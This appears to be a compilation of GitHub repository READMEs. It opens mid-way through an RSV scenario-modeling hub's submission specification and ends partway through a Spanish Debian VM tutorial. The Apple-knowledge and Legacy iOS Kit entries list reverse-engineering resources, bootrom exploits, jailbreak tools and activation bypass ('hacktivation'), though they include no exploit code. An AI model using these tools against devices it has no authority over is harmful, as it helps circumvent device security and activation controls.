state-specific ED data (only last year of data available)

Targets

In this round, we will require submission of 100 individual trajectories for each target while submission of quantiles is optional. Targets will be based on the RSV-NET dataset. The required targets for trajectories will be weekly RSV incident hospital admissions (counts) in the 12 RSV-NET states, nationally for all ages, and for a set of minimal age groups; a more resolved set of age groups is strongly encouraged (see below). Estimates of cumulative counts can be obtained from weekly trajectories and hence we do not require trajectories for cumulative counts. Similarly, peak targets (peak hospital admission magnitude and peak timing) can be reconstructed from weekly trajectories. Teams who wish to submit quantiles along with trajectories should provide quantiles for weekly and cumulative counts, as well as for hospital admission peak size and peak timing.

Weekly targets

Weekly reported all-age and age-specific state-level incident hospital admissions, based on RSV-NET. This dataset is updated daily and covers 2017-2023. There should be no adjustment for reporting (=raw data from RSV-NET dataset to be projected). A current and standardized version of the weekly data has been posted here
No infection target
No case target
No death target
All targets should be numbers of individuals, rather than rates

Age target

Required

Hospital admissions should be provided for the following age groups: all ages, <1 yr, 1-4, 5-64, and 65+. (Most of the RSV burden on hospitalizations comes from the 0-1 and 65+ age groups)

Additional age details (optional)

Weekly state-specific and national RSV hospitalizations among individuals <1 yr, 1-4, 5-17, 18-49, 50-64, 65+, and all ages

Optional targets (if submitting quantiles in addition to trajectories)

Cumulative hospital admissions. Cumulative outcomes start at 0 at the start of projections, on Nov 12, 2023
State-level peak hospital admissions
State-level timing of peak hospital admission

Timeline

Scenarios set (no changes after): Friday, Oct 27, 2023
Projections due: Tuesday, Nov 14, 2023
Report finalized: No later than November 24, 2023

Other specifications and assumptions

Overall RSV dynamics and severity

Several reference studies are worth considering to set (or guide) RSV model parameters that cannot be estimated from the available hospitalization data. These include work by Ginny Pitzer and colleagues in the US (see Pitzer et al for state-specific models driven by environmental drivers in the pre-intervention era, including Table 2 for parameters; and Zheng et al for an updated model with interventions).
Risk of severity given infection was parametrized in these models based on children cohort studies in the US and Kenya: see Nokes et al, Glezen et al, and Breese Hall at al.

Since these studies have been published, there has been an increased recognition of the burden of RSV among seniors (see Jackson et al, Rha et al, and McLaughlin et al

Prior Immunity

Prior immunity is at each team’s discretion. Immunity against infection is waning rapidly for RSV; based on prior modeling work, estimates of duration of immunity against infection range between 200-365 days. However, immunity against severe disease can be more long-lasting and generally increases with age and number of prior infections (eg see discussion in Pitzer et al). Overall, most individuals will get reinfected multiple times throughout life, but severe RSV infections that lead to hospitalizations tend to only occur among young children and seniors. Maternal immunity is expected to be brief
Teams are allowed to vary prior immunity by age or other demographic characteristic, and state
Unlike influenza virus, antigenic evolution is not a key feature of RSV

COVID-19 Interactions

No major interactions with future COVID-19 and flu surges (e.g., immunological, social, behavioural) should be considered in this round
We note that many studies have reported that RSV circulation was perturbed during the COVID19 pandemic, as can be seen in the RSVnet data. Whether and how to fit the COVID19 pandemic period is left at teams discretion

Projection Period

Sun Nov 12, 2023 to Sat June 1, 2024 (29 weeks)

State-level variability

Variability in severity and reporting to RSV-NET between states is possible

Seasonality

Teams should include their best estimates of RSV seasonality in their model but we do not prescribe a specific level of seasonal forcing.

NPI

No reactive NPIs to COVID-19 or influenza should be modeled in this round; low level masking is allowed at groups’ discretion.

Seeding of RSV

We leave seeding intensity, timing and geographic distribution at the discretion of the teams. In addition to the RSV-NET hospital admission dataset, CDC’s NVERSS viral surveillance dataset is a good resource for state-specific information on epidemic intensity (e.g., weekly % positive, or weekly ILI*%positive), and can be used to adjust seeding.

Initial Conditions

Prior immunity and amount of infections at the start of the projection period is at the discretion of the teams based on their interpretation of the scenarios. Variation in initial prevalence between states is left at teams’ discretion.

All of the teams’ specific assumptions should be documented in meta-data and abstract.

Submission Information

Scenario	Scenario name	Scenario ID for submission file (`scenario_id`)
Scenario A. Optimistic protection from both senior and infant interventions	optInf_optSen	A-2023-10-27
Scenario B. Optimistic protection from infant monoclonals, Pessimistic protection from senior vaccination	optInf_pessSen	B-2023-10-27
Scenario C. Pessimistic protection from infant monoclonals, Optimistic protection from senior vaccination	pessInf_optSen	C-2023-10-27
Scenario D. Pessimistic protection from both senior and infant interventions	pessInf_pessSen	D-2023-10-27
Scenario E. Counterfactual	counter_fact.	E-2023-10-27

Projection Due date: Tuesday, Nov 14, 2023
End date for fitting data: Between Saturday Oct 28, 2023 and Saturday Nov 11, 2023
Start date for scenarios: Sunday November 12, 2023 (first date of simulated transmission/outcomes)
Simulation end date: June 1, 2024 (29-week horizon)
Desire to release results by late-November 2023

Other submission requirements

Simulation trajectories: We ask that teams submit a sample of 100 simulation replicates. Simulations should be sampled in such a way that they will be most likely to produce the uncertainty of the simulated process. For some models, this may mean a random sample of simulations, for others with larger numbers of simulations, it may require weighted sampling. Trajectories will need to be paired across age groups (eg, for a given model, location, scenario and week, all age data for simulation 1 corresponds to the sum of age-specific estimates for simulation 1).
Geographic scope: state-level and national projections
- 12 states or a subset of 12 states, US overall recommended.
Results:
- Summary: Results must consist of a subset of weekly targets listed below; all are not required.
- Weeks follow epi-weeks (Sun-Sat) dated by the last day of the week.
- Weekly Targets: Weekly incident hospitalizations by location, all ages and age-specific
Metadata: We will require a brief meta-data form, from all teams.
Uncertainty:
- For trajectories (required submission): we require 100 trajectories.
- For quantiles (optional submission) We ask for 0.01, 0.025, 0.05, every 5% to 0.95, 0.975, and 0.99. Teams are also encouraged to submit 0 (min value) and 1 (max) quantiles if possible.

Target data

The target-data/ folder contains the RSV hospitalization data (also called "truth data") standardized from the Weekly Rates of Laboratory-Confirmed RSV Hospitalizations from the RSV-NET Surveillance System.

The weekly hospitalization number per location are going to be used as truth data in the hub.

Auxiliary Data

The repository stores and updates additional data relevant to the RSV modeling efforts in the auxiliary-data/ folder:

Population and census data:
- National and State level name and fips code as used in the Hub and associated population size.
- State level population size per year and per age from the US Census Bureau.
Birth Rate:
- Birth Number and Rate per state and per year from 1995 to 2022 included.
- Data from the US Census Bureau and from the Centers for Disease Control and Prevention, National Center for Health Statistics. National Vital Statistics System, Natality on CDC WONDER Online Database.
RSV data:
- The National Respiratory and Enteric Virus Surveillance System (NREVSS) data at national and state level.
- The Weekly Rates of Laboratory-Confirmed RSV Hospitalizations from the RSV-NET Surveillance System
- The National Emergency Department Visits for COVID-19, Influenza, and Respiratory Syncytial Virus

For more information, please consult the associated README file.

Data license and reuse

All source code that is specific to the overall project is available under an open-source MIT license. We note that this license does NOT cover model code from the various teams, model scenario data (available under specified licenses as described above) and auxiliary data.

Computational power

Those teams interested in accessing additional computational power should contact Katriona Shea at k-shea@psu.edu. Additional resources might be available from the MIDAS Coordination Center - please contact questions@midasnetwork.us for information.

The RSV Scenario Modeling Hub Coordination Team

Shaun Truelove, Johns Hopkins University
Cécile Viboud, NIH Fogarty
Justin Lessler, University of North Carolina
Sara Loo, Johns Hopkins University
Lucie Contamin, University of Pittsburgh
Emily Howerton, Penn State University
Claire Smith, Johns Hopkins University
Harry Hochheiser, University of Pittsburgh
Katriona Shea, Penn State University
Michael Runge, USGS
Erica Carcelen, John Hopkins University
Sung-mok Jung, University of North Carolina
Jessi Espino, University of Pittsburgh
John Levander, University of Pittsburgh
Samantha Bents, NIH Fogarty
Katie Yan, Penn State University

CocoaPods/pod-template

2023-12-12T01:58:37Z

An opinionated template for creating a Pod.

pod-template

An opinionated template for creating a Pod with the following features:

Git as the source control management system
Clean folder structure
Project generation
MIT license
Testing as a standard
Turnkey access to Travis CI
Also supports Carthage

Getting started

There are two reasons for wanting to work on this template, making your own or improving the one for everyone's. In both cases you will want to work with the ruby classes inside the setup folder, and the example base template that it works on from inside template/ios/.

Best practices

The command pod lib create aims to be ran along with this guide: https://guides.cocoapods.org/making/using-pod-lib-create.html so any changes of flow should be updated there also.

It is open to communal input, but adding new features, or new ideas are probably better off being discussed in an issue first. In general we try to think if an average Xcode user is going to use this feature or not, if it's unlikely is it a very strongly encouraged best practice ( ala testing / CI. ) If it's something useful for saving a few minutes every deploy, or isn't easily documented in the guide it is likely to be denied in order to keep this project as simple as possible.

Requirements:

CocoaPods 1.0.0+

danger/homebrew-tap

2023-12-12T01:58:37Z

The homebrew repo for Danger projects

homebrew-tap

Contains the Danger homebrew formulae for:

Danger Swift
```
brew install danger/tap/danger-swift
```
Danger JS
```
brew install danger/tap/danger-js 
```
Danger Kotlin
```
brew install danger/tap/danger-kotlin
```

hack-different/apple-knowledge

2023-12-12T01:58:37Z

A collection of reverse engineered Apple things, as well as a machine-readable database of Apple hardware

Apple Data Formats and Knowledge

A collection of reverse engineered Apple formats, protocols, or other interesting bits.

Join us on Discord - Discord Rules

Repo inspired by Papers we Love

Our Tooling Repos

Our Homebrew Tap

Install our tap with brew tap hack-different/homebrew-jailbreak

Information about the maintaining of that tap can be found at homebrew-jailbreak

Contributing and a warning

Linking your Discord and GitHub

We want this collection to be around for new jailbreakers and hobbyists for years to come, so we must say: this collection accepts (with gratitude) pull-requests that improve it, but under no circumstances will a PR based on AppleInternal, or any other copyrighted works protected by the DMCA be accepted. If you need help determining this, tag the PR with license help, join the Discord server, and ask a #Legit or higher role for help.

Violation of the DMCA or Copyright law is the responsibility of the submitter.

Primary Data Source

We attempt to derive from machine sources and produce machine readable files (YAML) in this repo under _data. For information about creating and extending data format see Data Format Guidance.

Updates and additions there should automatically be reflected in the documents

hack-different/apple-knowledge/_data

Another authoritative source of information is the open source code released by Apple themselves at one of the following locations:

Tools

Libraries for Binary Analysis and Modification

See docs/Binary_Tooling

Tools for Binary Analysis and Modification

mootool - FOSS Ruby Mach-O Tool (aims to replicate jtool2 feature set)
ktool - FOSS Python Mach-O Tool
checkra1n/toolchain
alephsecurity/xnu-qemu-arm64
- alephsecurity/xnu-qemu-arm64-tools
- Build iOS on QEMU
IDA Disassembler by Hex-Rays
Binary Ninja Disassembler
VisUAL ARM Simulator
Ghidra Disassembler
- AllsafeCyberSecurity/awesome-ghidra
- 0x36/ghidra_kernelcache
Hopper Disassembler
Capstone Engine
Unicorn Engine
QEMU
- QEMU Apple Branch
- geohot/qira
blacktop/ipsw
jtool2
frida

Guides and General

Devices

Device List
T2
Wi-Fi / Bluetooth
- seemoo-lab/frankenstein
- seemoo-lab/internalblue
The iPhone Wiki
SMC (System Management Controller) for pre-T2
- acidanthera/VirtualSMC
- t8012/smcutil - Create SMC binaries from update payloads

Kernel General

Protocols / Formats

Bootloader Related

Archive / Disk Formats

APFS - Apple Filesystem
LwVM Lightweight Volume Manager
NeXT / Apple "Bill of Materials" / pkg / bom
- iineva/bom
pbzx
Apple Disk Image - dmg
Signed System Volumes (SSV) / root_hash

Databases / Serialization

Property Lists
- libimobiledevice/libplist
iTunes database
Apple iDevice Backup Format
- rickmark/libibackup
- horrorho/InflatableDonkey

Image, Sound and Other Resources

Software Update / Installers

Code and Signature Formats

Mach-O File Types - Mach-O / Signing / Entitlements
- sbingner/ldid - Codesign tool
- ProcursusTeam/ldid - Alternative to sbingner/ldid with some updates for iOS 15 and general fixes
- m4b Mach Binaries
- J's Entitlements Database
- Levin's Code Signing
- Apple CTF / Compact Type Format
img4 - Apple signed images, version 4
- TheiPhoneWiki's documentation on IMG4 files
- xerub/img4lib
- m1stadev/PyIMG4 - A Python library/CLI tool for parsing IMG4
- tihmstar/img4tool
- h3adshotzz/img4helper
TrustCache - Pre-authorized Binary Hashes
EALF - eficheck baselines
ChunkList - Used to verify macOS Recovery / Internet Recovery
- t8012/go-aapl-integrity
dyld and DSC (dyld Shared Cache)
- Levin's Dyld
- rickmark/yolo_dsc - Used as last resort and depend on Xcode
- arandomdev/DyldExtractor - Fixes up linking
- dyld_shared_cache_util.cpp
iBoot LocalPolicy, RemotePolicy and BAA signing
- M1_Boot_Policy
Rosetta2
- ProjectChampollion
Swift
- Swift Mangling

Sandbox or 'Seatbelt'

Secure Enclave Processor

ARM / x86

ARM General
Apple CPUs
- Asahi: Introduction to Apple Silicon
- dougallj's applecpu
Compilers
- ARM Clang PAC ABI
ARM Mitigations
- APRR
- PAN
- SPRR & GXF

Hypervisor / Virtualization

Apple Hypervisor
- Official documentation
- Hypervisor on Apple Silicon

Baseband

baseband.yaml in Data Files
Qualcomm
- hack-different/apple-baseband
- Hexagon DSP

Coprocessors

hollance/neural-engine
RTKit - "Realtime" Kit
- 19h/ftab-dump

USB / Wired Protocols / Low Level Hardware

Basically all iDevice / iTunes
DFU / Recovery
- libimoibledevice/libirecovery
- Technical analysis of the checkm8 exploit
usbmuxd - USB transport for iDevices
- libimobiledevice/usbmuxd
- t8012/demuxusb
com.apple.restored - iDevice Restore Protocol
- libimobiledevice/idevicerestore
UTDM - USB Target Disk Mode
- rickmark/apple_utdm
USB-C Power Delivery - Vendor Defined Messages
- USB-C Port Controller (ACE) Secrets
- rickmark/macvdmtool
Lightning
- http://ramtin-amin.fr/#tristar
- https://nyansatan.github.io/lightning/
NVMe / NAND / PCIe
- http://ramtin-amin.fr/#nvmepcie
- http://ramtin-amin.fr/#nvmedma
gh2o/rvi_capture
osy/ThunderboltPatcher
Qi Wireless Charging

Network / Wireless / Transit

Apple Wi-Fi Password Sharing
- seemoo-lab/openwifipass
AWDL - Apple Wireless Distribution Link
- Findings from Ian Beer, Project Zero
Bluetooth Bonjour (Service Discovery)
iCloud
- nicolas17/mesu-archive
Apple Watch Pairing
com.apple.terminusd
Magic Pairing: Securing Bluetooth Peripherals
ATC - Air Traffic Control - iTunes Wi-Fi Sync
RemoteXPC
- https://duo.com/labs/research/apple-t2-xpc
- XPoCe
macOS Internet Recovery
- rickmark/apple_net_recovery
- Internet Recovery
iCloud Keychain (Umbrella for multiple formats)

System Configuration and State

FDR - Factory Data Restore
SysCfg - System Configuration - Serial Number and other Device Info
APTicket - The root of an authorized version set

Diagnostic Protocols

AWDD - Apple Wireless Diagnostics (misnomer, more than wireless, system trace)
- rickmark/awdd_decode
Mojo Serial
- MojoKDP.kext.S
Apple "tailspin"
Apple tracev3 Unified Logging
- `ydkhatri/UnifiedLogReader``
- dtformats
XHC20 USB Capture
- hack-different/demuxusb/ext/pcapng.h

Jailbreaks

Jailbreak Tooling

Jailbreak Slides

X-Plat

Safety / Protection

CREDITS

Hack Different - Apple Knowledge is a product of the entire community and belongs to the community. It is facilitated by the volunteer work of the Hack Different moderation team.

If you have issue with the design or workflow of this repository, blame me (rickmark) as I setup and configured most of it. (it me). If you have feedback, join the #apple-knowledge channel of the discord server.

Portions of data and knowledge come from TheiPhoneWiki, libimobiledevice's website, and checkra1n's website, as well as the individuals who brought you those projects (and many more!)

Special mention to Jonathan Levin and Amit Singh for taking the time to publish books on these topics.

A list of all projects and their contributors is at CREDITS and is updated by a script. If there are persons not updated due to limitations, please PR the CREDITS page and call them out.

Setting up `overcommit`, the linters, and the build

Main article is in BUILD

To keep the repo, docs, and data tidy, we use a tool called overcommit to connect up the git hooks to a set of quality checks. The fastest way to get setup is to run the following to make sure you have all the tools:

brew install hunspell
gem install overcommit bundler
bundle install
overcommit --install

Why not <insert wiki here>

Wiki's best serve prose, and part of the goal here is to leverage machine readable and ingestable information with human augmentation wherever possible.

As of 2022, GitHub has 56 million users. That means that there are 56 million people who are able to contribute directly to this repo via a fork and PR, in opposition to wiki's which have a relatively small number of potential editors. The PR process also allows for modifications to be reviewed, commented and debated before inclusion.

License

The contents of this repo are dual-licensed:

Code and data licensed under the MIT license

Documents also licensed under the CC-BY-SA

{style="border-width:0"} {rel=license} Apple Knowledge{:xmlns:dct="http://purl.org/dc/terms/", :property="dct:title"} by Hack Different{:xmlns:cc="http://creativecommons.org/ns#", :property="cc:attributionName", :rel="cc:attributionURL"} is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License](http://creativecommons.org/ licenses/by-sa/4.0/){:rel="license"}

Dedication

Here’s to the crazy ones, the misfits, the rebels, the troublemakers

the round pegs in the square holes…

the ones who see things differently — they’re not fond of rules…

You can quote them, disagree with them, glorify or vilify them, but the only thing you can’t do is ignore them because they change things…

They push the human race forward, and while some may see them as the crazy ones,

we see genius,

because the ones who are crazy enough to think that they can change the world,

are the ones who do.

— Steve Jobs, 1997

Also dedicated to the volunteer work of those who use this for good, and deny the shadow to those who seek to harm.

ccc112a/co112a

2023-12-12T01:59:00Z

課程：計算機結構 -- 筆記、習題與報告

hirosystems/connect

2023-12-12T01:59:04Z

A library for building excellent user experiences with Stacks.

kaze-mio/NahidaRenderProject

2023-12-13T01:44:15Z

A Unity sample project, for rendering Genshin characters like Nahida.

LukeZGD/Legacy-iOS-Kit

2023-12-12T01:59:09Z

An all-in-one tool to downgrade/restore, save SHSH blobs, and jailbreak legacy iOS devices

Legacy iOS Kit

(formerly iOS-OTA-Downgrader)
An all-in-one tool to downgrade/restore, save SHSH blobs, and jailbreak legacy iOS devices
Supported on Linux and macOS
Read the "How to Use" wiki page for instructions
Read the "Troubleshooting" wiki page for tips, frequent questions, and troubleshooting

Features

Legacy iOS Kit supports all 32-bit iOS devices, and some A7/A8 64-bit devices
Restore to signed OTA versions (iOS 8.4.1 and/or 6.1.3) on A5/A6 devices
Restore some 32-bit devices to other iOS versions without blobs
- This includes downgrading iPhone 3GS, iPhone 4 GSM and CDMA, iPod touch 2, touch 3, iPad 1
Restore with SHSH blobs on supported devices
Restore to other iOS versions with iOS 7 blobs (powdersn0w)
Tethered restores to other iOS versions for A5/A6 and other devices
Jailbreak all 32-bit iOS devices on (almost) any iOS version
- Available on iOS versions 3.1.3 to 9.3.4
- Only unsupported versions are iOS 9.0.x and iPad 2 on 4.3.x
Hacktivation for iPhone 2G, 3G, 3GS (activate without valid SIM card)
Restore to iOS 10.3.3 (signed OTA version) on supported A7 devices
Save onboard and Cydia SHSH blobs for 32-bit devices
Enter pwned iBSS/kDFU mode for supported 32-bit devices
Boot SSH Ramdisk for 32-bit devices
Clear NVRAM for 32-bit devices
Device activation using ideviceactivation (useful for iOS 4 and lower)
The latest baseband will be flashed for A5/A6 devices with baseband
Dumping and stitching baseband to IPSW (requires --disable-bbupdate)
Dumping and stitching activation records to IPSW (requires --activation-records)

Supported devices

Identify your device here
iPhone 5C and iPad mini 3 devices are NOT supported by OTA downgrades
- These devices still support restoring to other iOS versions with SHSH blobs, see below
See the table below for OTA downgrading support:

Target Version	Supported Devices
iOS 10.3.3	A7 devices:
iPhone 5S
iPad Air 1
iPad mini 2 (except iPad4,6)
iOS 8.4.1	32-bit devices:
iPhone 4S
iPhone 5
iPad 2, iPad 3, iPad 4
iPad mini 1
iPod touch 5
iOS 6.1.3	iPhone 4S
iPad 2 (except iPad2,4)

Restoring with SHSH blobs, jailbreaking, and using SSH Ramdisks are supported on the following devices:
- Supports all 32-bit iOS devices
- iPhone 2G, 3G, 3GS, 4, 4S, 5, 5C
- iPad 1, 2, 3, 4, mini 1
- iPod touch 1, 2, 3, 4, 5
Restoring with SHSH blobs is also supported on most A7/A8 devices:
- See SEP/BB Compatibility Chart for iOS versions that can be restored to
- iPhone 5S, 6, 6 Plus
- iPad Air 1, mini 2, mini 3
- iPod touch 6
Restoring with powdersn0w is supported on the following devices and target version range:
- iPhone 4 GSM - iOS 4.0 to 7.1.1 (4.2.1 is not functional)
- iPhone 4 CDMA - iOS 5.0 to 7.1.1 (4.2.x is not functional)
- iPhone 4S, 5, 5C, iPad 2 Rev A, iPad 4, iPod touch 5 - iOS 5.0 to 9.3.5
- iPad 1 - iOS 4.3 to 5.1 (4.2.1 and 3.2.x are not functional)
- iPod touch 3 - iOS 4.0 to 5.1 (3.1.x is not functional)
- Using powdersn0w requires iOS 7.1.x blobs for your device
  - No blob requirement for iPhone 4, iPad 1, iPod touch 3 (7.1.2 and 5.1.1 are signed)
  - For iPhone 5 and 5C, both 7.0.x and 7.1.x blobs can be used
  - For iPad 4, only 7.0.x blobs can be used
Restoring to other unsigned versions without blobs is supported on the following devices and target versions:
- iPhone 3GS - iOS 3.1.3, 4.1, 4.3.3, 5.0.1, 5.1.1
- iPod touch 2 - iOS 3.1.3, 4.1

Supported OS versions/distros

Supported architectures: x86_64, arm64, armhf

Ubuntu 22.04 and newer, and Ubuntu-based distros like Linux Mint
Arch Linux and Arch-based distros like EndeavourOS
Fedora 37 and newer
Debian 12 Bookworm and newer, Sid, and Debian-based distros
openSUSE Tumbleweed
Gentoo and Gentoo-based distros
macOS 10.13 and newer (10.15 and newer recommended)

Tools and other stuff used

curl
bspatch
powdersn0w_pub - dora2ios; LukeZGD fork
- Most of the exploit ramdisks used are from kok3shidoll's repo
- 5C 7.0.x exploit ramdisk is from Ralph0045's iloader repo
- iPad 1 exploit ramdisk is from Ralph0045's iBoot-5-Stuff repo
ipwndfu - axi0mX, Linus Henze, synackuk; LukeZGD fork
ipwnder_lite - dora2ios (used on macOS)
iPwnder32 - dora2ios (old version with libusb used on Linux)
gaster - 0x7ff
daibutsuCFW - dora2ios; LukeZGD fork
daibutsu - dora/kok3shidoll, Clarity
libimobiledevice - libimobiledevice
libirecovery - libimobiledevice
libideviceactivation - libimobiledevice
tsschecker - tihmstar; 1Conan fork v413
futurerestore - tihmstar;
- LukeZGD fork used on Linux for restoring 32-bit devices
- LukeeGD fork used on Linux for restoring A7/A8 devices
iBoot32Patcher - dora2ios fork
idevicerestore - libimobiledevice; LukeZGD fork
idevicererestore from daibutsuCFW (used on custom IPSW restores for A5/A6 devices)
kloader from Odysseus
kloader from axi0mX (used on iOS 4/5 only)
kloader for iOS 5
kloader_hgsp from nyan_satan (used on h3lix only)
jq
partialZipBrowser
zenity; macOS build
32-bit bundles from OdysseusOTA, OdysseusOTA2, alitek12, gjest (modified bundles for daibutsuCFW)
A7 patches from MatthewPierson
iPad 2 iOS 4.3.x bundles from selfisht, Ralph0045
sshpass
Bootstrap tar from SpiritNET
Cydia HTTPatch for 3.1.3 downgrades/jailbreaks
Pangu
p0sixspwn
evasi0n
g1lbertJB
UntetherHomeDepot
greenpois0n
Some patches from PwnageTool, sn0wbreeze, redsn0w
SSH Ramdisk tars from SSH-Ramdisk-Maker-and-Loader and msftguy's ssh-rd

gemartin99/Born2beroot-Tutorial

2023-12-13T01:44:16Z

Tutorial to install Debian virtual machine with functional WordPress site with the following services: lighttpd, MariaDB, PHP and Litespeed.

Born2beroot-Tutorial 🖥🇪🇸

This guide has versions in different languages. Choose the one you prefer.

English version 🇬🇧

Versão portuguesa 🇵🇹

Índice

1- Descargar imagen de la maquina virtual 💿

Click aqui para redireccionarte a la URL donde puedes descargar la ISO de manera segura.

2- Instalacion de la maquina 🛠

Según el subject es OBLIGATORIO hacer este proyecto con Virtual Box. Pero si por algun problema técnico en tu campus no esta disponible Virtual Box. Este tutorial cuenta con una versión para VMware.

Si quieres hacer la instalación con VMware haz Click aqui

2-1 Instalacion de la maquina con Virtual Box 📦

Para realizar la instalación se requiere de un software de virtualización. En este tutorial haremos uso de VirtualBox. Si ya tienes VirtualBox instalado y dispones de la ISO Debian ya podemos empezar con el tutorial.

1 ◦ Debemos abrir VirtualBox y pinchar sobre Nueva

2 ◦ Escogemos el nombre de nuestra máquina y la carpeta donde estará ubicada. Importante introducir la maquina dentro de la carpeta sgoinfre ya que si no la ubicamos ahí nos quedaremos sin espacio y fallará la instalación (dependiendo del campus la ruta de sgoinfre puede cambiar).

3 ◦ Seleccionamos la cantidad de memoria RAM que reservaremos para la máquina.

4 ◦ Seleccionamos la segunda opción para asi crear un disco duro virtual ahora.

5 ◦ Escogemos la primera opción VDI ya que nos hemos descargado una imagen de disco.

6 ◦ Seleccionamos la primera opción Reservado dinámicamente para que asi se vaya reservando memoria en la máquina real segun vayamos utilizandola en la virtual hasta llegado al límite máximo disponible en la virtual.

7 ◦ Una vez hayamos establecido la cantidad recomendada 12 GB deberemos darle a Crear. Si haremos el bonus seleccionaremos 30 GB.

8 ◦ Puede parecer que ya hemos terminado la instalación , pero todavía faltan un par de pasos más. Debemos darle a configuración

9 ◦ Acto seguido pincharemos encima de Almacenamiento , volveremos a pinchar sobre el emoticono 💿 que se encuentra a la derecha y de nuevo pincharemos sobre Seleccionar un archivo de disco.

10 ◦ Seleccionaremos la ISO que acabamos de descargar y le damos a Abrir y después le daremos a Aceptar.

◦ Una vez completados todos los pasos anteriores ya podemos Iniciar nuestra máquina virtual.

2-2 Instalacion de la maquina con VMware ☁️

1 ◦ Debemos abrir VMware y pinchar sobre New.

2 ◦ Se nos habrá abierto una pestaña. Ahora debemos arrastrar la ISO de Debian que hemos descargado en el paso 1.

3 ◦ Le damos a continue y indicamos el sistema operativo que usaremos.

4 ◦ Seleccionamos Debian 10.x 64 bits.

5 ◦ Seleccionaremos Legacy BIOS. Este paso es importante ya que si escogemos UEFI o UEFI Secure Boot las particiones no quedarán como específica el subject ya que crea una partición nueva. Con la opción Legacy Bios no se creará ninguna partición específica.

6 ◦ Antes de finalizar la instalación debemos escoger la ruta donde almacenaremos nuestra maquina virtual. Le daremos a Customize Settings.

7 ◦ Cambiamos el nombre de la maquina a Born2beroot y pincharemos sobre la flecha para poder escoger la ruta donde almacenaremos la maquina.

8 ◦ Para que no nos quite espacio de nuestro usuario la almacenaremos en el sgoinfre, es importante que crees una carpeta con tu login y que tenga los permisos necesarios. Una vez la tengas almacenaremos nuestra maquina virtual en esa ruta. En mi caso esta es la ruta, quizás en tu campus es diferente!

3- Instalación Debian 🌀

➤ Espera❗️ Tu vista es muy importante 👀❗️ Para poder hacer la ventana más grande debes hacer lo siguiente:

Utiliza la tecla command para que la captura del ratón pase de la maquina real a la virtual y al reves.

Sigamos con la instalación 🛠

1 ◦ Escogeremos la version sin interfaz gráfica Install ya que el subject indica que no se utilice ninguna Cada vez que queramos confirmar algo presionaremos Enter y para movernos por las opciones utilizaremos las flechas.

2 ◦ Escogeremos el idioma que usaremos para la instalación y el predeterminado que se le quedará al sistema English.

3 ◦ Introducimos nuestro País, territorio o zona. En mi caso pondre Other.

4 ◦ Como he seleccionado other debo indicar mi continente o region. En mi caso pongo Europe 🇪🇺.

5 ◦ Seleccionamos el país. En mi caso Spain 🇪🇸.

6 ◦ Seleccionamos United States.

7 ◦ Importante seleccionar American English como configuración de teclado ya que si no tendremos las teclas mal enlazadas.

8 ◦ En este paso debemos elegir el Host Name de la máquina, el cual debe ser tu login seguido de 42.

9 ◦ Este apartado lo dejaremos vacío ya que el subject no mencionada nada de Domain name.

10 ◦ Debemos introducir una contraseña para la cuenta de administración del sistema. Importante apuntarla o hacer una foto ya que le daremos uso. Si quieres ver la contraseña para asegurarte de que la has escrito correctamente debes tabular hasta llegar a la opción Show Password in Clear debes darle a la barra espaciadora y se mostrara la clave.

11 ◦ Repetimos el proceso de nuevo para comprobar que no la hayamos escrito mal.

12 ◦ Elegimos el nombre de nuestro nuevo usuario. Como indica el subject hay que crear un usuario adicional que no sea el root con nuestro login, por ese motivo llamaré gemartin a mi nuevo usuario.

Volvemos a poner el nombre de usuario.

13 ◦ Ahora debemos introducir la contraseña de nuestro nuevo usuario. Como la anterior , repetiremos el proceso para comprobar que no la hayas escrito mal y tambien es importante que la guardes porque le daremos uso más adelante.

14 ◦ Seleccionamos la hora de nuestra ubicación.

15 ◦ Esocgeremos la tercera opción Guied - use entire disk and set up encrypted LVM ya que el subject nos dice que deben ser particiones cifradas. ⚠️❗️ Si quieres hacer el bonus deberás darle a Manual y hacer click aquí ❗️⚠️

16 ◦ Seleccionamos el disco en el que queremos hacer el particionado (Solo debe haber un disco).

17 ◦ Una vez hayamos escogido el disco deberemos hacer el particionado tal y como nos piden. Para realizarlo adecuadamente debemos seleccionar la segunda opción Separate /home partition.

18 ◦ Esocgemos la opción Yes para que asi se escriban los cambios en el disco y podamos configurar el gestor de volumenes lógicos (LVM).

19 ◦ Le damos a Cancel ya que el borrado de datos en el disco no es necesario.

20 ◦ De nuevo deberemos poner una contraseña, esta vez será la frase de encriptación. Como te he comentado previamente deberás repetir el proceso y la debes anotar ya que será importante en un futuro.

21 ◦ En este paso debemos introducir la cantidad de volumen que usaremos para la partición guiada. Debemos introducir max o el numero de tamaño maximo disponible en mi caso es 12.4 GB.

22 ◦ Para finalizar la partición y escribir los cambios en el disco le daremos a la opción Finish partitioning and write changes to disk.

23 ◦ Seleccionamos la opción Yes para continuar y confirmar que no queremos hacer más cambios en el disco.

24 ◦ Seleccionamos la opción No ya que no necesitamos paquetes adicionales.

25 ◦ Escogemos nuestro País.

26 ◦ Escogemos deb.debian.org ya que es lo que recomienda debian.

27 ◦ Esta opción la dejaremos vacía y le daremos Continue.

28 ◦ Seleccionamos la opcion No ya que no queremos que los developers vean nuestras estadísticas aunque sean anónimas.

29 ◦ Quitaremos todas las opciones de software (con la barra espaciadora) y le daremos a Continue.

30 ◦ Seleccionaremos Yes para instalar GRUB boot en el disco duro.

31 ◦ Escogeremos el dispositivo para la instalación del cargador de arranque /dev/sda (ata_VBOX_HARDDISK).

32 ◦ Le daremos a Continue para finalizar la instalación.

4 Configuración de la máquina virtual ⚙️

➤ Lo primero que debemos hacer es seleccionar Debian GNU/Linux.

➤ Debemos introducir la contraseña de encriptación que utilizamos previamente. En mi caso es Hello42bcn.

➤ Debemos introducir el usuario y contraseña que hemos creado. En mi caso el usuario es gemartin y la contraseña Hola42spain.

Ya tenemos todo listo para empezar a configurar nuestra máquina virtual Debian❗️

4.1 - Instalación de sudo y configuración de usuarios y grupos 👤

1 ◦ Para la instalación de sudo primero debemos estar en el usuario root, para ello pondremos Su en el terminal y introduciremos la contraseña, en mi caso es Hola42bcn. Una vez hemos accedido al usuario root debemos poner el comando apt install sudo para así instalar los paquetes necesarios.

2 ◦ Debemos reiniciar la máquina para que se apliquen los cambios. Para ello haremos uso del comando sudo reboot y esperaremos a que se reinicie.

